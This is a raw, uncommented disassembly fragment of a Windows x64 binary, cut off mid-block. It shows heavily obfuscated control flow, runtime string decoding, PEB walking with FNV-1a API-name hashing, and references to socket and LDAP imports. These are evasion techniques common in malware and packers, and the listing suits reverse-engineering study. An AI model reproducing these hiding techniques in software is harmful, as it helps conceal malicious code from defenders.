cmp rdi, rax
je 0x14014163c
cmp r10, r9
ja 0x1401417b1
lea rax, [r10 + 0x61]
cmp rdi, rax
jae 0x140140d4f
movabs rdx, 0xadcac976d014c485
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x5d
jmp 0x140140f66
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401415ef
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401415cf
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401415ac
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14014158e
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x140141285
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140141264
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x140141241
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14014121b
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x1401411fa
lea rcx, [r10 + 5]
cmp rdi, rcx
je 0x1401411d7
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x1401411b1
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140141190
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x14014116d
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x140141147
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x140140d90
mov rdi, rcx
lea r10, [rcx + 0x20]
lea rax, [r10 + 0x200]
cmp rcx, rax
jb 0x14014178e
lea rax, [r10 + 4]
cmp rcx, rax
jb 0x14014176b
lea rax, [r10 + 0x80]
cmp rcx, rax
jb 0x140140f90
lea rax, [r10 + 3]
cmp rcx, rax
jb 0x140140f6d
lea rax, [r10 + 0x64]
cmp rcx, rax
jb 0x140140f4a
lea rax, [r10 + 2]
cmp rcx, rax
jb 0x140141126
lea rax, [r10 + 0x42]
cmp rcx, rax
jb 0x140141105
lea rax, [r10 + 1]
cmp rcx, rax
jb 0x1401410e4
lea rax, [r10 + 0x40]
cmp rcx, rax
jb 0x1401410b9
lea rax, [r10 + 0x2a]
cmp rcx, rax
jb 0x140140d90
lea rdi, [r10 + 6]
lea r10, [rdi + 0x28]
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x1401410a5
lea rax, [r10 + 5]
cmp rdi, rax
ja 0x140141084
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x140141063
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x14014104f
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14014102c
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x14014100b
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x140140ff7
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x140140fd4
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x140140fb3
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140140d90
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x7a]
jmp 0x140140d90
movabs rdx, 0x7e56a336ffc66a1b
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x43
add bl, dl
jmp 0x140140d83
movabs rdx, 0x6dc96b74d393acb9
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xf
add bl, dl
jmp 0x140140d1c
movabs rdx, 0x5d3c33b2a760ef57
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub dl, 0x61
add bl, dl
jmp 0x140140cc1
movabs rdx, 0x6e564bb680a62428
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
jmp 0x14014160b
movabs rcx, 0x5dc913f4547366c6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6a
jmp 0x140141631
movabs rdx, 0x4d3bdc322840a964
mov ecx, Ordinal_35
jmp 0x14014122a
movabs rdx, 0x3caea46ffc0dec02
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xe
jmp 0x140141658
movabs rcx, 0x2c216cadcfdb2ea0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x140141682
movabs rdx, 0x1b9434eba3a8713e
mov ecx, Ordinal_41
jmp 0x1401411c0
movabs rdx, 0xb06fd297775b3dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
jmp 0x140141587
movabs rdx, 0xfa79c5674b42f67a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x56
jmp 0x140141189
movabs rdx, 0xe9ec8da51f103918
mov ecx, Ordinal_46
jmp 0x140141156
movabs rcx, 0xc08b823fb0915fa3
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x75
mov byte [rbp + r9 + 0x640], bl
jmp 0x140141763
movabs rdx, 0xaffe4a7d845ea241
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x39
jmp 0x140141319
movabs rdx, 0x9f7112bb582be4df
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x19
jmp 0x1401412e1
movabs rdx, 0x8ee3daf92bf9277d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6b
jmp 0x1401412a5
movabs rdx, 0x12c0b8c8e07c9b1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140141754
movabs rdx, 0x2338106b449ddbc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x24
add bl, dl
jmp 0x140141702
movabs rdx, 0xf1a649448817205a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x76
jmp 0x140141587
movabs rdx, 0xe11911825be462f8
mov ecx, Ordinal_32
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401416a2
movabs rcx, 0xd08bd9c02fb1a596
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x1a
jmp 0x140141682
movabs rdx, 0xbffea1fe037ee834
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6c
jmp 0x140141658
movabs rdx, 0xaf716a3bd74c2ad2
mov ecx, reloc.WLDAP32.dll_Ordinal_33
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140141634
movabs rcx, 0x9ee43279ab196d70
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x10
jmp 0x140141631
movabs rdx, 0x8e56fab77ee6b00e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x62
jmp 0x14014160b
lea rax, [r10 + 0x2a]
cmp rdi, rax
jae 0x14014134c
lea rdx, [r9 + rsi]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x29
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x42
je 0x140141563
lea rax, [r10 + 0x1000]
cmp rdi, rax
jbe 0x140141402
movabs rdx, 0xf8d324a2440b902d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3b
add bl, dl
cmp rdi, 0x5a
jae 0x14014153a
lea rax, [r10 + 5]
cmp rdi, rax
jbe 0x1401414b2
movabs rdx, 0xa69dee19142054b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp r10, 0xa
jb 0x1401410d7
movabs rdx, 0x4c221baece1bba86
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x54]
jmp 0x14014160d
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140141378
movabs rcx, 0x5b9592eda029890a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x46
jmp 0x140141754
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401413a5
movabs rdx, 0x7cb00271f88f03ce
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140141587
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401413d2
movabs rdx, 0x9dca71f650f47e92
add rdx, r9
mov al, r8b
and al, dl
mov ecx, r15d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140141682
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401412a7
movabs rcx, 0xbee4e17aa959f956
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x5a
jmp 0x140141634
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014142c
movabs rdx, 0x9605c64703e4d8f
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x17
jmp 0x14014160b
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140141458
movabs rcx, 0x19ed94269c710af1
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x69
jmp 0x140141631
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140141482
movabs rdx, 0x3b0803aaf4d685b5
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0xd
jmp 0x140141658
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401412e3
movabs rcx, 0x8dca1a75d1d4389f
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x59
jmp 0x140141754
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401414cf
movabs rdx, 0xb72b25db40531214
mov ecx, Ordinal_60
jmp 0x140141156
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401414ec
movabs rdx, 0xd845955f98b88cd8
mov ecx, recv
jmp 0x140141390
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140141509
movabs rdx, 0xe8d2cd21c4eb4a3a
mov ecx, gethostname
jmp 0x1401411c0
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14014131b
movabs rdx, 0x3b94e3eca1e8fd24
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14014160b
movabs rdx, 0x5caf5370fa4e77e8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x640]
sub bl, al
sub bl, 0x58
add bl, r8b
jmp 0x140141658
movabs rdx, 0x6d3c8b332681354a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r9 + 0x640]
sub bl, 6
add bl, dl
jmp 0x1401416d2
movabs rdx, 0x21a74fc60577f233
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x65
jmp 0x140141587
movabs rcx, 0x8ce041ad12776f
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 9
jmp 0x140141682
movabs rcx, 0xdf7270bd54acfcab
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x53
jmp 0x140141634
movabs rdx, 0xbe580138fc4781e7
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x51
add bl, dl
movabs rcx, 0x5468b78fe4351937
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x7f
add cl, r8b
mov byte [rbp + r9 + 0x640], cl
add r10, r15
sub r9, r15
jmp 0x140141763
movabs rdx, 0x6b95ea6e1f49cefd
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x15
add bl, dl
movabs rdx, 0x64f5ef521067d699
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, bl
sub cl, al
sub cl, 0x2f
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x640], cl
add rdi, r10
jmp 0x1401416a2
movabs rcx, 0x4a7b7ae9c6e45439
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, 0x71
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140141763
mov r8, rdx
movabs rcx, 0x39ee43279ab196d7
add rcx, r9
and dl, cl
add dl, dl
mov bl, r8b
sub bl, dl
add bl, 0x1f
add bl, cl
movabs rcx, 0x758327143c9a93fb
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x23
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x640], al
add r10, r15
add rax, r10
sub r9, rax
movabs rdx, 0x7dc9c2f552b3f2ac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x640], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140141754
movabs rcx, 0x18d3d3a3424c1c13
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, 0x7b
movzx eax, byte [rbp + r9 + 0x640]
add rax, r10
add r9, rax
add r9, r15
jmp 0x140140cae
movabs rcx, 0x4caefbf07b2e31f5
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x4d
jmp 0x140140ca9
movabs rcx, 0x3c21c42e4efb7493
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 5
jmp 0x140140c99
lea rdx, [rbp + 0x14ba52c]
jmp 0x1401417ca
lea rdx, [rbp + 0x12503dd]
jmp 0x1401417ca
lea rdx, [rbp + 0x640]
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rcx, [rbp + 0x1ca0]
call fcn.140089ca0
nop
mov r8, qword [0x1404fba78]
mov rdx, qword [0x1404fba70]
sub r8, rdx
lea rcx, [rbp + 0x1ca0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x1ca0]
call fcn.1401aa1b8
call fcn.140040d50
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x1404fba30], eax
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x1404fba28], rax
mov r13d, 0x31a98fee
cmp rax, 0xffffffffffffffff
jne 0x14014413d
mov r12, qword [0x1404fc128]
xor eax, eax
test r12, r12
jne 0x1401419be
mov esi, eax
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401418c6
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401418b8
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401418a7
cmp r8d, esi
jne 0x14014199a
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x14014199a
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14014199a
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14014191a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14014190f
cmp edx, r14d
je 0x140141930
test r9d, r9d
jne 0x1401418fa
jmp 0x14014199a
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r12d, dword [r8 + rdx*4]
add r12, rbx
cmp r12, r11
jbe 0x1401419b1
lea rcx, [rax + r11]
cmp r12, rcx
jae 0x1401419b1
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r12]
cmp al, 0x2e
je 0x14014198c
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r12, rdx
jmp 0x140141967
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r12, rdx
mov al, byte [r12]
test al, al
jne 0x14014197f
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401419ae
cmp qword [rdi + 0x30], rax
jne 0x140141876
mov r12, rax
mov qword [0x1404fc128], r12
mov r15d, 1
mov byte [rbp + 0x420], Ordinal_143
mov byte [rbp + 0x421], Ordinal_200
mov byte [rbp + 0x422], 0x78
mov byte [rbp + 0x423], Ordinal_200
mov byte [rbp + 0x424], WSASetLastError
mov byte [rbp + 0x425], 0xc1
mov byte [rbp + 0x426], WSASetLastError
mov byte [rbp + 0x427], Ordinal_211
mov byte [rbp + 0x428], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x429], Ordinal_211
mov byte [rbp + 0x42a], 0x63
mov byte [rbp + 0x42b], 0xcb
mov byte [rbp + 0x42c], 0xca
mov byte [rbp + 0x42d], 0xc9
xor eax, eax
mov qword [rbp + 0x42e], rax
mov word [rbp + 0x436], ax
mov byte [rbp + 0x438], al
movabs rsi, 0x2b4df89b53ec8761
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x19
jae 0x1401425f3
movzx r8d, byte [rbp + r9 + 0x420]
mov rdx, r8
cmp rdi, r9
ja 0x1401425ea
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140141a9a
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x59
jmp 0x140141aba
je 0x140142569
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140142539
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140142514
cmp r10, r9
ja 0x1401425e1
lea rax, [r10 + 9]
cmp rdi, rax
jae 0x140141aed
movabs rdx, 0x8d6564bde2671af5
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x4d
jmp 0x140141d1e
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401424cf
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401424ad
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014248b
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140142403
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401423e4
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x140142047
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x140142023
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x140142001
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x140141fde
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140141fb8
lea rax, [r10 + 0x1000]
cmp rdi, rax
je 0x140141fa4
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x140141f82
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140141f5c
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x140141f38
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140141f15
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140141b3b
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 0x80]
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x1401425be
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x14014259b
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x140141d48
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x140141d25
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x140141d02
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x140141ef4
lea rax, [r10 + 0x64]
cmp rdi, rax
jb 0x140141ed3
lea rax, [r10 + 3]
cmp rdi, rax
jb 0x140141eb2
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x140141e87
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x140141b3b
lea rdi, [r10 + 8]
lea r10, [rdi + 1]
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x140141e64
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x140141e43
lea rax, [r10 + 5]
cmp rdi, rax
ja 0x140141e2f
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x140141e0c
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x140141de9
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x140141dc8
lea rax, [r10 + 0x80]
cmp rdi, rax
ja 0x140141da2
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140141d7f
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x140141d6b
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x140141b3b
lea rdi, [r10 + 9]
lea r10, [rdi + 2]
jmp 0x140141b3b
movabs rdx, 0x8355fc56916d81ab
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x53
add bl, dl
jmp 0x140141b2e
movabs rdx, 0x2cba0b1fe99472e9
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5f
add bl, dl
jmp 0x140141aba
movabs rdx, 0xd61e19e941bb6427
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub dl, 0x11
add bl, dl
jmp 0x140141a6c
movabs rdx, 0x6b2b25ef1338d7a8
mov ecx, 0x34
jmp 0x140142032
movabs rcx, 0x148f34b86b5fc8e6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4a
jmp 0x140142531
movabs rdx, 0xbdf34381c386ba24
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140142534
movabs rdx, 0x6757524b1badab62
mov ecx, reloc.WLDAP32.dll_Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14014238c
movabs rcx, 0x10bb611473d49ca0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x140142557
movabs rcx, 0xba1f6fddcbfb8dde
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x12
jmp 0x14014255a
movabs rdx, 0x63837ea724227f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x140141f6b
movabs rdx, 0xce78d707c49705a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x76
jmp 0x140142283
movabs rcx, 0xb64b9c39d4706198
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x28
jmp 0x140142584
movabs rcx, 0xddc5c13130d1bcb3
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x1b
mov byte [rbp + r9 + 0x420], bl
jmp 0x140142593
movabs rdx, 0x8729cffa88f8adf1
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x69
jmp 0x1401420d5
movabs rdx, 0x308ddec3e11f9f2f
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x49
jmp 0x1401420a0
movabs rdx, 0xd9f1ed8d3946906d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 5
jmp 0x140142067
movabs rcx, 0x50605c734e6aa1be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x140142584
movabs rdx, 0xf9c46b3ca69192fc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140142283
movabs rdx, 0xa3287a05feb8843a
mov ecx, gethostname
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140142421
movabs rcx, 0x4c8c88cf56df7578
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x48
jmp 0x14014255a
movabs rdx, 0xf5f09798af0666b6
mov ecx, 3
jmp 0x140142176
movabs rdx, 0x9f54a662072d57f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140142391
movabs rcx, 0x48b8b52b5f544932
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x5e
jmp 0x140142534
movabs rcx, 0xf21cc3f4b77b3a70
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x140142531
movabs rdx, 0x9b80d2be0fa22bae
mov ecx, Ordinal_32
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401421ff
lea rax, [r10 + 0x64]
cmp rdi, rax
jae 0x140142108
lea rdx, [r9 + rsi]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x59
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 3
je 0x1401423be
lea rax, [r10 + 6]
cmp rdi, rax
jbe 0x1401421da
movabs rdx, 0x51943d02ff5c421d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x35
add bl, dl
cmp rdi, 0x40
jae 0x140142368
lea rax, [r10 + 8]
cmp rdi, rax
jbe 0x1401422ba
movabs rdx, 0xdef9a1c0e1c35d12
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7e
add bl, dl
cmp r10, 0x41
jb 0x140141ea5
movabs rdx, 0x41110de3703df0a6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x14]
jmp 0x1401424ec
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140142134
movabs rcx, 0x1acac97bc4ce35ea
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x66
jmp 0x140142584
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014215e
movabs rdx, 0xc802abe91480536e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 2
jmp 0x14014241f
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014218d
movabs rdx, 0x753a8e56643270f2
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140142557
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401421aa
movabs rdx, 0xcbd67f8d0c0b7fb4
mov ecx, 0xa
jmp 0x140141dd7
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140142069
movabs rcx, 0x227270c3b3e48e76
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x3a
jmp 0x140142534
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140142206
movabs rdx, 0xa8302e39a73550df
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x19
add bl, dl
jmp 0x1401424ec
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140142232
movabs rcx, 0x556810a6f6e76e63
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x4b
jmp 0x140142534
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014225e
movabs rcx, 0x593be44aee729aa9
add rcx, r9
mov al, r8b
